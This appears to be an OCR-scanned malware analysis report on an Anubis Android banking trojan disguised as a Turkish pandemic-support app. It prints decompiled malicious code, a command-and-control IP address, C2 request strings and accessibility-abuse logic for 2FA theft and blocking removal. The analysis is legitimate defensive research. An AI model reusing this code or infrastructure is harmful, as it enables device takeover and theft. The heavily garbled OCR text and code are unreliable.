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Introduction

Anubis is one of the most well-known malware in the
Android Malware family. It's still popular for threat actors
today, given its capabilities and the damage it has done to
andorid users in the past. On the other hand, it offers many
Malware Developers the opportunity to sample their
abilities to create a new malware.

It is possible to find thousands of different Anubis samples
produced to date on platforms such as "Koodous" and
"Abuse.ch". Basically, we can say that Anubis consist of 2
stages. Let's take a look at these stages and what they do.

Two Stages Of
Anubis

Threat actors, if they plan to present the Anubis through a
legit application such as Google Play, they use the
application we will call Dropper at this point. Dropper's task
is to download and install the real Anubis malware on the
device from the moment it starts working. On the other
hand, in scenarios where threat actors plan to spread
Anubis through websites, fake campaigns or fake gifts, we
can see that they share the Anubis application directly
without using Dropper.

https://t.me/learningnets

[40)



Droppers

As it seems, Droppers try to mislead their targets by
imitating other popular legitimate apps on Google
Play.

Dropper apps should attract as little attention and be
silent as possible to evade Google Play security
services. For this reason, Droppers' abilities are very
limited. It will be more than enough for threat actors to
install Anubis on the target device in the safest way
possible. So how can Dropper applications install
Anubis on the device? Let's take a look at this
together.

REQUEST_INSTALL_PACKAGES, the first red lights
that appear with the sunrise, our hero who first
greeted us when we started our story.

With this permission Android applications can obtain
the ability to install an external application on the
device.

And thus, Anubis malware is successfully installed on the
device. As we mentioned above, Droppers imitate
legitimate apps on Google Play to hide themselves and
gain trust. On the other hand, Anubis do nearly same
things with Droppers. It uses the current pandemic
process and the impact of this process on society in order
to hide itself and gain trust. Application names such as
"Pandemic Support”, "COVID-19 Support”, "2000 Turkish
Lira Support”, "Pandemic Support Application" and
emblems of official ministries are widely used at this
point.
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Anubis Applications

COVID-19 DESTEK

xgejc.xve.qxyeuhr

COVID-19 Support

PANDEMI BASVURU UYGULAMASI

kynml.ivzgvs.diw

T, SAGLIM BAHANLK

Pandemic Application

Pandemic Support

Dropper Examples

BatterySaverMobi

BatterySaverMobi  Tools ok

Sahibinden

sahibinden.com.app  Shopping *kkww L

Saved: - min 3 nin min
E PEGI3
This 8pp is compatitie with all of your devices I I I
[ Add to wishlist

soooocooco R . ¢

% Translate the descripticn inta English (United States) using Google Translate? Translate

Emlek konut kategonsi alinda

i ve altinda satlik ey, kirallk ig yeri, gunlok kirahk

ankadan, emlak cfisinden ve sahibinden giki
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Checksums

App Name

Her Aile'ye 2000 TL
Pandemi Devlet Destegi

MD5

Oe2ebf224ef23e5d01a88e
6bd06d6ad0

SHA-1

defb1558ddc36fd10050f
2cd65617dce7274dc01

SHA-256

a0eb4e0e7346422d18d34
21d1f18bfcb2b01ac3080a
b3b3bc68d67aab1f4477d
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Static Analysis

The first thing we need to look at in the static analysis section will
of course be the permissions requested by the application in
"AndroidManifest.xml".

Frankly, many mobile malwares are giving themselves away at
this point, we can say that application permissions are just one of
the cornerstones of this business. Likewise, Anubis gives us the
chance to guess what it can do with so much power it wants, but
in the following parts of our article, we will see that Anubis is
actually a Malware that contains more than we think. If we need
to give an example, we can make a few statements on
"RECEIVE_BOOT_COMPLETED" among the permissions
requested. Thanks to this reciever permission, android
applications can run in the background while the device is
starting up and ensure its continuity on the device, and in the
scenario we see, we realize that this permission is also on the list
of requests by Anubis.




Static Analysis

One of the features we are used to seeing in many mobile
malware is runtime class loading. When we continue to
examine our "AndroidManifest.xml” file, it is possible to see
that the classes that are not in the activity section are listed.
From now on, it is certain that Anubis will do something to
load the lost classes as it starts up.
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Static Analysis

There are multiple ways to access our classes that will be
loaded later, in our report we will refer to class loader
function hooking and manual unpacking methods. For our
static analysis, we will reach our classes that will be loaded
later by hooking the "dalvik.system.DexClassLoader"
function, but in the last section, we will aim to reach these
classes with manual unpacking.

Spawned ‘pigeon.theme.earth’. Use %resume to let the main thread start executing!

[YOPYOPYOP: :pigeon.theme.earth]-> “resume

[YOPYOPYOP: :pigeon.theme.earth]-> [+] DexClassLoader Catched -> /data/user/@/pigeon.theme.earth/app_DynamicOptDex/hLc.json
| |

BINGO!!! Our dex file, which is wanted to be loaded using the
"DexClassLoader" function, is right here, and the classes it
contains are the lost classes that appear in the
"AndroidManifest.xml" we mentioned above.
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Static Analysis

In fact, when we first open the "hLc.json" file, we realize
that there are dozens of unnecessary "enum” classes added
for obsfucation purposes, but "eybisi's jadx fork" allows us
to easily eliminate this problem with its "Hide Enum
Classes" feature.

When we examine our loaded dex file and the classes in it,
we are faced with many strings encrypted in the
parrot.ski.frog.a" class.

ackage parrot.

limport android

0DJhYnY3

IyNDJ1") ;

RiZjNmODY4

pubLic

Code | smali
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Static Analysis

Looking at our encrypted strings, we see that they all go to
the "a" function before being defined to any variable. When
we examine this function and code flow, we are faced with

a process that we are familiar with.

RC4+BASE64

public al str) {
try {
return new (new b(str.substring(®@, 12).getBytes()).a(b(new ( .decode(str.substring(12), @), "UTF-8"))1);
y catch ( unused) {
return "";

public byte[] b str) {
int length = str.length():

ew byte[(length / 2)1:
for (int i = @; 1 < length; i += 2) {
bArr[i / 2] = (byte) (( .digit(str.charAt(i), 16) << 4) + .digit(str.charAt(i + 1), 18));

return bArr;

public cf str) {
try {
return new ( .decode(str, @), "UTF-8");
v catch ( unused) {
return " ;

With our decryptor function, our encrypted string is first divided
into 2 parts, the first 12 characters of these parts are used as the
decryption key and the remaining expression is used as
chipertext.

return new (new bfstr.substring(@, 12)jgetBytes()).a(b(new
} catch ( unused) {
return "";
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Static Analysis

After our string, which is divided into 2 parts, is converted
to the appropriate format, it is sent to our RC4 function.

Anddd Here Is The Our RC4 Implementation Function

Anubis uses these ecrytped strings that we see in runtime
by decrypting them. Come on now, let's look at the
contents using the script | wrote to decrypt all the strings
here and when we look at the outputs, we can reach more
detailed information about the capabilities of Anubis, each
of our decrypted strings here are very important, but |
marked a few of the first ones that caught my attention.
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Static Analysis

batuhan in ~/Downloads A python3 base_rc.py
statMails

activeDevice

sinjalghibjxNTZKZmNiNzhkZDc4M2VjMmIx

gbaathcuodcdNDVhZWZmNGMINTIXMDUWZGVhYzdNzBL

timeWorking

ipegupoljuowYTM3Yz1mMjIyMmFmYjA4Y2FmMzFKkYw==

statDownloadModule

> mpkiiieitd1pOWZmMGNmNZEIMDUZNZzZhMTNiMDRjZGY5ZDg5YWQ@0DIhYmY3

lockDevice
offSound

hswsbocmbwNTQ5ZmRIMTA@MDV 1OWY5MmIKMGE=

keylogger

qdewsdzzxMj lmMDg4YTgyOTk5YWUyNQ==

chy\xgpotpoTUSZDYxMG EzMDQ1YTIZMWM5

activeInjection

hllalhdwcuwoYWRINTUINjgONzMWMzM1MDQZMTE4ZjUzYmIyNDI1

timeInject
timeCC

prxcvfhbokeh0GQ5MmZ jMjgyZmRhMzFIMZESN jA=

timeMails

dkmxcxtafveyOTNiNjMAZDFmNzkw

dataKeylogger

diiofpjbfalaYjQ5Y2MxNThi0DAZODBiYTg1

autoClick

noiugavdwvivY2IwNzEzOTQSNDIyZDNKYjN1YzhmYmImNzM=

key
display_width

jsutoepcp j rbNWQSZTISNzAONWZhZWNmMM]Ux
mxxfyfbrvtavZmNkyYjM4

display_height

guohr jdxwznazWYyNjhjYjQ3ZjE1YjBhOTEYMjdmMWU3NZQ=

checkProtect

ciyynpenrbspNDA3ZGNKYzc2NGYz0Tc2ZTdhZTI10Dg5YmUyNQ==

sof 1fbtwt fkiNDdjNmU2ZGQOZ jNjMWE2YWR LOWE3OWRT

goOffProtect

rrwyvmhkixvyYmMzNmUONjY1ZDkyY2JjOTASNmYzNWZk

timeProtect
packageName

rmtibhkontjsNDh1MjhhMm] 1ZTMwYWUZNGE IMTMWZ,

packageNameActivityInject

exfuotgsojjtNjMOZDF jNmYyZjgxZWYxZmE2Y2NhNw:

hyvbgzetzid jNDU3MzNkNzdmNWI10DY4ANzZkZDA1YWZmNDRKYTLhMD 11YZM4MjUXN2YzODkKONWIZOWQ=

logsContacts

vrmxohuaazk10Tkx0Dc20TczMzgxZDVj YTgwNzNi0WNj

logsApplications

)
butyvxadqipwOGF 1YzkzODAyZDM3NzgwNWFhY2YWNDIONTFKMmIWNTI=

logsSavedSMS
locale

wduxzlsjvastMjMyYTAOYTQxY jMzNmViZGYy0GYy0G]j

batteryLevel

gkhsatirofigpYjBkNjdhODM5Z jAx

Destek Paketinizi AktifleAtiriniz

encruttikseaM2YyOWI1YzMxNDcOODNKYmEXZDkINGE3

TkAN2NkZWYZzM2ViZDQ=

mdbecssguzilYTk4ZTRINZUZZmY5ZDgwM2YwZmY2NTE IMTNjMGMyMzR1Z jNmODY4YmNmNzk4Zj E3YjQ50GU2Y

CRViysGgKzt6 i
android.provider.Telephony.SMS_RECEIVED

hp jdmpqt ithwNWRhMjM4YWEYY jImY jMyMGU1LY j ImZmMANj E=

jOGQWODA3ZTk5ZWRmYTF jZWF1YmE3MT ImNT 1k

kmgk snzuNjd1ZjZhMGUzN2FmMTBMZGIkMmIS0DVKNMQZY j c2MTIKYmUwWOTE@ZDM30TkwNjY5ZDd

android.permission.READ_PHONE_STATE
1MMRKYWIwMWF kNmUZNjQONg==

ptcjneofdngsN2YzNmZnNDQzMDRj ZjE2YmFmNzk2ZmE3NmEWM2FhZ j U2NmI10TVmYTEXNWRKOGZhZ jE2MjR

android.permission.SEND_SMS
android.permission.READ_PHONE_STATE

ogjhtukwe; MOOWYSY JE3N2IXMjB1YTMAM] CSNTA3MTMZNTQ4M;j c 10Th1ZmMSM] FLOWION] VKNTUL

1MmRKYWIwMWF kNmUZNjQONg==

ptcjneofdngsN2YzNmZmNDQzMDRj Z jE2YmFmNzk2ZmE3NmEWM2FhZ j U2NmI10TVmYTEXNWRKOGZhZ jE2MjR

android.permission.READ_CONTACTS
hkNWE3MTUSNw==

pyvcrvisbbi 1MGQ1ZTAXYzc4Y2FKZGI5YTZjMzcOYmV iMWUZYZUOMjYZMzI KNTMWN jNjZGMzN2VKNjVmZD

timestop

tzridqwymfpcZ jUSNWUXN2U3MTI3Mzk3Ng==

package:
>>

IxwegnsariyuY2VINTVLZThmMGQXMWQ1Yw==

tflwaxrhfivgMwMz0TI20DI=

str_params
merged]SON

vkxyxtlccwpyYWQ3MmIINWQOOGRKOWRjNDC2YTk=

JSON

ntoskfsafotxNjciMjZkM2IzZDY3Y2IyZTFmNjQ=

lqgvddjorsgnNDFmMzQzOTM=

ERROR SettingsToAddJson

hizsprj tomzmNWY3MzQ4MjFIM2IhZmUxODcy0GUyY2YzYTgwZGE20TkwY jgzM2Y2Y jUANTE 10

Initialization Start 1!

dtpqdgxthpwwY2M1ZDNMZ jFiYmVjYzVh0GZhNzc3ZDcwYWI IMTASYmRKMDImMNIWZ TE3ZWJ jZ

Initialization Start 2!
startpush

vlamrmnzukt jZTAyM2MxMGRhZTYBNDZ jMjVMTd jNj AzMjAANGVAM UAYTMIM2Q4N ZkzZNZAYMw==

push

b'<html lang="en">"'

ccbrecjeoxdoiNzVmMmIhMzIwY2ImMTIX0DC5
> wrsjdflpyrpoYjgyMWR1ZjQ=

RegistrationRESPONCE:
ok

TenopftcwvbpZTIIMmVhMTEZMQSZDNMTgSY jMyOTFhNGF1ODGSNThhZDEWYZY5MDkZDQ=

pvzaycfttweiZmFjMu==
params wouvesivbtpaNTM1ZjVINMUINjk3
updateSettingsAndCommands dgufsrbxqjyyZGE3MzFhNjVIMGZ 1ZDdmMGV{NWIWNDg40WEYNZzcwNTM5YWU4NDEANZUWZ jUZOGN jMzY=
response slpjxynvfdqvZTc2NjEXNWFINTA2MDQ1INw==
Tick: TwnzqgotfvawiYjhjOTRKNjc5MDQz
apk gneghizwqekcZDk3YmMy
serviceWorkingwhile ohkceklczjgxNTViZTUyYNDEyNzUZMGQSYmQ1ZGNTMWI zNj RmYmVIMzM2ZmEwMzQ=
tick nlicrprkiuyvNzEyNjus0Tc=
accessibility fnbgwhpayqyoZWESMDk20TM4YmZhMGUzZNmU4YTELY jTyNmY=
ERROR: module Dex Start 1brdgludsgogMGImMThhNDdhY jA3ZTA3Yzc00DIZODA2MjNjNTRKYZRkNZUSZ j kKxM2M2NGM20A==
-1 bsuyl: dNWIyNA==
htvctetbmipgMzA=
down LoadModu(eDex ghwdtpgwciufZ jdkNTB1ZDNmODAYOTR1ZDY3YmI 1MjgyZWRhMzg10Tc2!

Download Module:

lozroghnldzbMTU4M2VmMj ImMDUXOTCXMWMSZWY5NZ EXNDTLNTAIMDAS YA

Save Module
ERROR: Work File Module

gbxgyreuzr1bODBmMjkyZmUzMWU2Y2NjOWY 1ZGM2Mg==

outdex

zmpqubzgjvbZ6Zk0DCcZYTINZd1ZTZYmUyZTASNGM3ZnY2MDY2ZD1iNTVYZRINGI jZ612Q==

com.example.modulebot.mod

ydcbnhxdfhqzODVmMjVhMjQ2NmN 1

main

zrmfulaxdardOTkwMDIhMjRhYmJ IMWVANTRMNGY 1ZDA1MGU10DMzMGZmNZA2ZTBhYZhiM2UOMZ LmMWY=

jwuykerbhnxfZDkzMmzhOTc=

DexClassLoader
Error:

ghgetqcbtcaaMD1iNDk2MmNiMzU4N2My0Dk40DgxYzdiY2E5Yg==

getNameApplication

gcyqupdbazee0Thi0Tg20Dg5SNDYSNDI=

Error Method

vumsyzmzpmcfZjNhYTThYTh1NjcwNmd jMWF j YWQzYTEZYmE@ODZ jNmYOMGR

LockDevice

gkstdchwkxwbZjk@ZmYyYzUwNDgOMWF10Dc3YjY1ZTFk

tgxgibkrrjhoYTUSOWMyMj11ZjRhMGEXN]jk30DI=

ERROR
starterService

agezfnighlleNWM5YzF 1Yz IkNw==

b'<html lang="\xb1\xf9\xe@1\xc7gs;\xa84921a9fd8ab54d4ald2ce538bd5263d8"
brist

yzxosaugqtmsNGMzNTcwMj g5SMDA2MzFINDc4NjdINDhiNzVkZg==

cmfkzzmehcrdZThiNWI3Y2RhYWQ2MDY=

Inject:
#

BLOCK DISABLE ACCESIBILITY SERVICE

kovyjlgeixdgYWEwWYmJi

YZAYNWIKZjNLZNISMTc=
BLOCK DELETE

nstlyiighpvmZDIhZWIZZnY40TYwY]k20GYZNWQ3ZNRIN FhYTE3YmMyZmMyMnI kZTRiMGNZjUyZDAXM2Y2

oisbjibvmwhyNWNiMzk1Y2ZkNjEyNmYxMzQzNDI4MDdm

BLOCK DISABLE ADMIN

ssrxhuriiok jMjQOM2VjMzQ5Mj QuMDM1M} YOOTY10WF jN2M3M] dhMTQONZI4ZDQ=

Pandemi Destek
http://107.172.82.116/

zcolsvwny j1FY2EYNjBKMTI1YTEXNWM50TUSMDBLYWFMM2I4NQ==

idbot

tnrsxlugmchtMGQONTA3Y2IwNzKyZTYZMGQWNjkOY j E5YmViNDU2ZGM10WM@OWI 10WE 1ZWM=

rgnnrihfeljnMmEINGFhZmNjYQ==

ERROR View Injection:

yodjqgvuyyuaYWVmNjhjMzZjZjZhNGY3ZWVKYjgzZjZiNjNi1ZGNhNjRIMGE20DZ 10GM3Z jk=
vjvlvtdjvjjxymy=

application
data

rcdouyzsguehNjJkOTUxZTIiNzVINGIkZGYzZTg3Zg==

b',"exit"

xncqresqzizhNmNiMzE4Y2Y=

b, "exit": "true"’
1D:

nghkcoiigdgaNmVjNzQyNDM=

Logs:

admin

pkawikmezadqMjg3MjIzMDk20WIKYWE=
vdriouvixsnhMDU=

START SERVICE 1:

xyvolszerrrsMjc5ZmM3YzZiMQ==

crggfghafzkvYTQzOTEOOGM30GM10DgSMWUZMWN jMWUXZTFkMj Z1ZmZmZi

START SERVICE 2:
WORKING SERVICE:

mfrxmeaxiirqYjAzYjQ2YTM20TE2MDNINZNY2YOMGY5M] g4MDIOOWEYZ

Error #1 onAccessibilityEvent

zvevquocpvabMzRINDNjY jY2NWEZOWMANDZ 1ZWF1Z jRkZWY 00T cyYzYxZA==

chck unlock device

> bmoalmilfsdfMTY5SMTUyODI{MGFKY zhhMTM3Mj U2MzMzZWY3ZGESMjNhNZY30TI5Zg0Y jRmZDIOM2QuMzZEZZWQzY

fvicrscvinziNjQyMGNhY2E2MzAzZY jY5NTkzNTEONGFKY2RkOTISZ j g4Z jgxNmU=

nodeInfo == null

ywrhbfdxdxyyZ j TkMDIXMGF iN2YINjM1YmY5NzQ2NGRhMZZ jMmVKZ j Y=

CLICKED: xfbonpcduripZjYwNzZINDAYNGQzM2VhMZI1
X: gruvenriquvnNDMONDd jNjg3N
Y: xozurmdndpusZDM3NTA2Y2VmYy
packageApp{ zebmytpzohjaMzV1ZjVmM2FkMzgwYWI2NTC3M2E2Mw==
} strText{ gzkhqfgxviwgM2E4ZWR1YTY5ZTBhMDg40DAZY2M=
} cl { ignxntyku KMDQLNGUZN2NTM2FkOWImZmI2Mj Lk
} iwuhjvqyjkckzDk=
com.android.settings.SubSettings ypduk GMj YOMGR1ZDQ5MWQyM K3 YWYy YW (MnMwOTAZMj k2NWUGYWE3NTIXYTgOZ j QyYzgyMGUONTFmOW
RKODE2ZmFkNA==

Log Keylogger Size:
com.android.settings:id/action_button

tnlswpnpatmwMDY 1MGUANjU2ZGMXMTIhNZR1Mzg1MzY2NTZ jMj RKNDAhYTYwWNmEZNA==

jAyZDBKYmY 4NmF LNDNmY2QyODNINTQ=
action=botcheck&data=

qmuk jwocscheYWQzND1hMjQ40WES0W jY2EOMDKAZGRjY2EIMGI INDCy YWNmODIXN2Y2MmQ1ZGU2ZN2UY

mrehbymcy1xbZTM1ZmZmOWQ4MzY40WNmOD11MZzQWNGM30GQ1Y j IXOWFhNzBjZ jEAYWM2

Inof|

> vkfdllwqlidgNzIkZTEOYmUIMTES

action=registration&data=
action=sendInjectLogs&data=

sxbjdzodb ZINmF jMDM3YWIONzJhZDI3ZTM50GI30GYXZmFhZTUOOWZKNjM2ZWYYNTg0ZGQONZQ=

action=sendSmsLogs&data=

jejvxaxjeircMGQIM2F jMzI3N2YwOThhYj LhY jRhOTYSYZEWY jAyNGVMOTQ3Y jUONzcyZGRhZjE3NMIiYTAY

mtcldilnejggNTA40DQXZ jYXMWM20DdMNDUAMWFKODQYNThmMmYwMDMyN jA4Z jJA3YmIZYTUINMN T

action=timeInject&data=

pvwiotwnulcwMjdjM2I3NDYZzZDA2MjU4YTd JMGNLYWEWMWI hOTg1ZWEGNTZ10GF j YmJ10GM1Mw==

action=sendKeylogger&data=

rhkybcqquthZFj NWF iNmZNzY10TRhZTVhOWJ jMWNmNDRmMmUWY zMyMzMzMDE30DY 1Y2M5ZTMxZWZhZg==

action=getModuleddata=
action=checkAP&data=

htZTI5YmJ jMWEXYzIzZDM1Y jAyNGQ3ZjFINTUXZTh1YTcyYjIkMjEyMjM5MGE=

Not Yet Implemented

wkrnampfhwle] MyMj ZkZmE1ZmRjYTcwNDczZTZkMzUyNDMzZ j dhOTYS5MzFkNmFmMg==

vzpb jnaxicquYTgzOWMIMWVNTVjZjdmNT1jYZzBKYTcyNzE2MmIwZ jAyN2RjYzk=

system. apk

ccgll yM2UyYjEzNjczNzAzY2FjZjI=

Android

[

msngfqp\aubNmI@NleMTFmOGJ kzwy=
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Static Analysis

When | examined the strings we decrypted, | realized that
some of them were just defined and never used again. First,
| thought that the variable that the string is connected to
would be a decryption result. But | couldn't find any
function of this type, then | came across "DexClassLoader"
in strings :D

b({Context context, str) {
try {
if [ 'new (context.getDir(this.a.dg, @), this.a.bk).exists()) {
return "";

loadClass = new DexClasslLoader(few (context.getDir(this.a.dg, @), this.a.bk).getCanonicalPath(),
return loadClass.getMethod(this.a.dt, Context.class, .class).invoke(loadClass.newInstance(), context

} catch | el {
str2 = this.a.du:
a(str2, this.a.dv + e.toString());
return "-;

String str2 = this.a.du; //this.a.du = "DexClassLoader"

The sample we examined loads the module it received from the
C&C Panel with the "action=getModule&data=" request in
runtime using "DexClassLoader" and runs the class it loaded
with "com.example.modulebot.mod", which | encountered in
strings. There are multiple unused strings inside, including
those with the package names of applications such as
Telegram, Whatsapp, Tencent, Ubercrab, Viber, Snapchat,
Instagram, Twitter.

--> _yynfsyynxgvyYzViZTQ@ZDY=
iber.vo

no

com.andr encent.mm, com.v. voip,com.snapchat.android, com. instagram.android,com.imo.android.imoim, com. twitter.android, ----
com.goo o icrosoft.office.outlook,com.yahoo.mobile.client.android.mail,  -----=---------ccomm-ceoomcooo oo
Enable ---- e e S S zdziknNTUzZMDI]Mj1iNzIR

§ ooeo =

'en':"En ----- ieaetiusen 1WOTVMOGNMj YwNmI4M]j k3YmYxMmQyOTY1YTMzZQ==

‘der:TAktivieren’, - - ——————_—-—-___3 gexdvetzfchcNDM1M] JmZTQ1MjUxMZczNGMWN2RKMTUINDBiZWN jMzFkZ jA2

hxhjwndpwvsyMTQyY ] EzMWYzZNDEQYWEYMWF iZDR1Y2UxMG JhNDY@MTM=

el



Static Analysis

Since C&C Panel is not active, | could not examine the module
to be loaded in runtime, but there are many harmful activities
that can be mentioned in the classes we have. To mention
them in order;

deInfo accessibilityNodeInfo alaccessibilityEvent.getSource(), "android.view.\

eInfo.getC Count();
ssibilityNodeInfo.getC

+ child.getText().toString() + "\n";

tor2: ‘n" + strz + this.a.dE);

unused) {

Anubis can steal 2FA code with using Accessibility events
"getText()" function.

14’



Static Analysis

In addition, with Accessibility privileges, Anubis can also give
itself any permission it wants.

RSION.SDK_INT < 18 str2.contains
return false;

= false;
bilityNodeInfo ac

sibilityService)))

ibilityNodeInfo { ttonl”)fiterator();

;eturn false;
} catch ( unused) {

Here | would like to point out a few things about the
"performAction(16)" function. Thanks to the accessibility
permission, Android applications can click the buttons that
appear on the screen.

performAction ACTION_CLICK

public static final int ACTION_CLICK
public boolean performAction (int action)
Action that clicks on the node info. See Ac ibilityAction#ACTION_CLICK

) Constant Value: 16 (0x00000010)
Performs an action on the node.

Gl



Static Analysis

After the application starts working, it makes the necessary
preparations to convert the basic information about the
device and critical information such as "statBanks",
"statCard" into Json format.

public void a(Context context) {
this.b.a(this.d, this.a
d = this.b.d(context, this.a.b):
TelephonyManager telephonyManager = (TelephonyManager) getBaseContext().getSystemService(this.a.aj);
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put(this.a.cI, d) ———" id
jSONObject.put(this.a.s, this.b.d(context, this.a.s)) ; ———— ld“se“llll-“»
jSONObject.put(this.a.cJ, this.c ntext)) ————PIIIIIIIIJE‘I
jsowobje-:t.put:;this.._. , this.b.i(this) ? this.a.aQ : this.a.aN) ;=———SstatAdmin 1/0
jSONObject.put(this.a.u, this.b.d(context, this.a.q) ——T statProtect
130N0b1e t.put( thlsk._ .v, this.c Ntext) ) ——] StatScreen
c w, this.b xt, gstmzijgp.class) 7 this.a.aqQ : this.a.an); statAccessibilty
ct. .x, this.b )) ; i SEALSMS
jSONObje-::t.put:jthis .y, this.b.d(context, this.a.y)):e—— statCards
jSONObject.put(this.a.z, this.b.d{context, this.a '| j— statBanks
jSONObject.put(this.a.A, this.b.d(context, this.z ! — i statMails . .
jSONObject.put(this.a.B, this.b.d{context, this.a ) ——] ACt1VeDevice
jSONObject.put(this.a.C, this.b.d(context, this.z j;—bt]lll&\\lll]\]no
jSONObject.put(this.a.p, this.b.d(context, this.a.D )} - s ta t D ownload Module
_1'SDNDbje-::t.put:jthis.._. this.b.c xt) _bbatten.[,e\e]
str = this.a.\ —-—h locale

While examining "AndroidManifest.xml" file, we saw the
permissions  such as "SEND_SMS", "READ_SMS",
"RECEIVE_SMS" in its content, but it seems that Anubis does
not want to be content with them. It is thought that the purpose
of Anubis, which wants to be the SMS application of the device,

at this point is to delete the incoming messages in order not to
leave any evidence behind.

if lolel"lana .isRoleAvailable("an A
startActivityForResult( :Lolel"lanagel.-._1eateF‘eque;tF‘oleIntent andro
} else {
return;

firwizh ():

ol



Static Analysis

super.onCreate(bundle);
if ('this.a.b(this))
Point point = new Poin
getWindowMa getSize(point);

When Anubis first

EEUREERR runs, it uses Shared
BNl Prcferences to reuse
Shared Preferences Builder the encrypted strings
in its content.

cpvl.class));

unused2)
if ('this.b.b(this))

Opbh X [@a X [Ca

public void d(Context context

try

= urlAdminPanel / a.az = http://107.172.82.116/

—lp .1 = hiddens

e—0p a.G = keylogger / a.aQ = 1

]
Code | smali

As can be seen below, certain information is kept in the "key-
value data" format for later use.

public veoid a(Context context, str, f
SharedPreferences.Editor edit = context.getSharedPreferences(this.a.
edit.putString(str, str2)
edit.commit

LL
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Static Analysis

With many functions and endless loops in Anubis content, it causes
a workload on the device where it is constantly loaded. Since one
of the results of this workload is high energy consumption, Anubis'
developers aimed to overcome this problem with the
"REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" permission.

blic void onCreate(Bundle bundle) {
super.onCreate(bundle);
try {
if ('this.a.b(this)) {

Intent inten new Intent( droid.se S, Uri.parse(this.b.aH + getPackageName())):
intent.
intel
star

} catch ( unused)

finish();

FLAG_ACTIVITY_NEW_TASK d in API level 1

L

public static final int FLAG_ACTIVITY_NEW_TASK

tivity will become the start of a new task on this history stack. A task (from the activity that started it to the
ty) defines an atomic group of activities that the user can move to. Ta @ novec foreground
and background; all of the activitie e of a particular task always remain in the same order. See T C
Stack for more information about tasks.

This flag is generally used by activities that want to present a "launcher" style behavior: they give the user a list of
separate things that can be done, which otherwise run completely independently of the activity launching them.

When using this flag, if a task is already running for the activity you are now starting, then a new activity will not be
; ad, the current task will simply be brought to the front of the screen with the state it was last in. See
CTIVITY_MULTIPLE_TASK for a flag to disable this behavior.

This flag can not be used when the caller is requ ng a result from the activity being launched.

Constant Value: 268435456 (0x10000000)

FLAG_ACTIVITY_NO_HISTORY Added in APl level 1

public static final int FLAG_ACTIVITY_NO_HISTORY o

n activity is not kept in the history stack. As soon as the user navigates away from it, the activity is finished.
This may also be set with the noHistory attribute.

If set, onActivit sult() is never invoked when the current activity starts a new activity which sets a result and
finishes.

Constant Value: 1073741824 (0x40000000)




Static Analysis

The application can reveal multiple amazing abilities with
Accessibility permissions on the target device. For example, it
can turn off Play Protect to avoid being caught and prevent any
attempt to delete itself from the device, again thanks to
Accessibility.

ssibilityService {

arrot.ski.frog.a():

sibilityNodeInfo=
= this.b.aN:

private j = (gstmzijgp.class.getSimpleName() + this.b.aI);
private boolean k = false;
private int 1 = @;
private this.b.z
private this.b.z
private this.b.a
private this.b.a
private this.b.a
private r = this.b.z
private boolean s = false;

private al ssibilityEvent ac sibilityEvent) {
new
for | charSequence accessibilityEvent.getText()) {
sb.append(charSequence) ;

return sb.toString();

private void a() |
if (Build.VERSION.SDK_INT = 13) {
or (1ntT 1 ;1 < 4; ]
performGlobalAction(1);

(Build.VERSION.SDK_INT < 16) {

6l
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Static Analysis

In the code block we saw above page, it can perform
operations with 1 and 2 constants from the "a" function and the
"performGlobalAction" function. Well, if you were to ask what
operation these 1 and 2 correspond to, here is the answer;

performGilobalAction Added in API level 16

L )

public final boolean performGlobalAction (int action)

Performs a global action. Such an action can be performed at any moment regardless of the current application or user
location in that application. For example going back, going home, opening recents, etc.

Note: The global action ids themselves give n on about the current availability of their corresponding actions.
To determine if a global action is available, use getSystemActions()

Parameters

action int: The action to perform.

GLO BAL_ACT|ON - BACK Added in APl level 16

L )]

public static final int GLOBAL_ACTION_BACK

Action to go back.

00001) i —

GLOBAL_ACTION_HOME

public static final int GLOBAL_ACTION_HOME

Action to go home.

Constant Value: 2 (0x00000002)




Static Analysis

In addition, we need to mention that the developers of Anubis
paid attention to important details such as the Build SDK
version and implemented the escape function separately for
lower SDK versions.

private void a() {
if (Build.VERSION.SDK_INT =
for (int i = @: i < 4: )
performGlobalAction(l1);

(Build.VERSTION.SDK_INT < 16)
Intent intent = new Inte
intent.:

intent.s
startActivity(intent);

FLAG_ACTIVITY_NEW_TASK < Added in API level 1

public static final int FLAG_ACTIVITY_NEW_TASK °

If set, this activity will become the start of a new task on this history stack. A task (from the activity that started it to the
next task activity) defines an atomic group of activities that the user can move to. Tasks can be moved
ground; all of the activiti > of a particular task always remain in the same order. See
or more information about ta

This flag is generally used by activities that want to present a "launcher" style behavior: they give the user a list of
separate things that can be done, which otherwise run completely independently of the activity launching them.

When using this flag, if a task is already running for the activity you are now starting, then a new activity will not be
d, the current task will simply be brought to the front of the screen with the state it was last in. See
ITY_MULTIPLE_TASK for a flag to disable this behavior.

This flag can not be used when the caller is requesting a result from the activity being launched.

Constant Value: 268435456 (0x10000000)

Anubis uses this code block against any deletion attempts of
the user and returns the user directly to the main menu from
where they are :D it must be very annoying.

L¢



Static Analysis

As an example, let's examine the code block below

public void a(AccessibilityNodeInfo accessibilityNedeInfo) {

d.VERSION.SDK_INT >= 18) {
tyNodeInfo == null) {
is.j, this.b.bP);

for (AccessibilityNodeInfo accessibilityNodeInfo2 accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(this.b.cE)) {

( essibilityNedeInfo accessibilityNodeInfo3 accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(this.b.cD)) {

if (this.p.equals(this.b.cF)) {
a();

“

} catch ¢ unused) {

cE=com.android.vending:id/toolbar_item_play_protect_settings
cD=com.android.vending:id/play_protect_settings
cF=com.google.android.gms.security.settings.verifyappssettings
activity

Thanks to its accessibility ability, Anubis can infer what the user
is doing on the screen at that moment, and runs the "a" function
directly in any scenario that will harm it. As we can see in our
example code block, if it detects any of the cE / ¢D / cF string
constants, the escape function "a" will run directly.

44



Dynamic Analysis

In our sample, we come across the
application under the name of "2000 TL
Pandemic State Support for Each Family"
and using the emblem of the Ministry of
et Al Health of the Republic of Turkey.
With Anubis running on the target system, we see that the first
thing it wants from the user is "Accessibility" privileges. Because
many simple but effective abilities ("Clicking Buttos", "Scorlling
Pages"”, "Reading Windows Context") that the malware
basically possesses are hidden behind these powers. On the
other hand, we see at the beginning of our analysis that Anubis
also uses a way to hide its icon from the app launcher in order to
make it difficult to remove it from the device when it starts
running.

W4 4452 W 4 4453

& Accessibility Service Accessibility

Accessibility shortcut
No service selected

DOWNLOADED SERVICES

Select to speak
Downloaded services

Destek Paketinizi Aktiflestiriniz
Destek Paketinizi Aktiflestiriniz

<=

&9 oFF
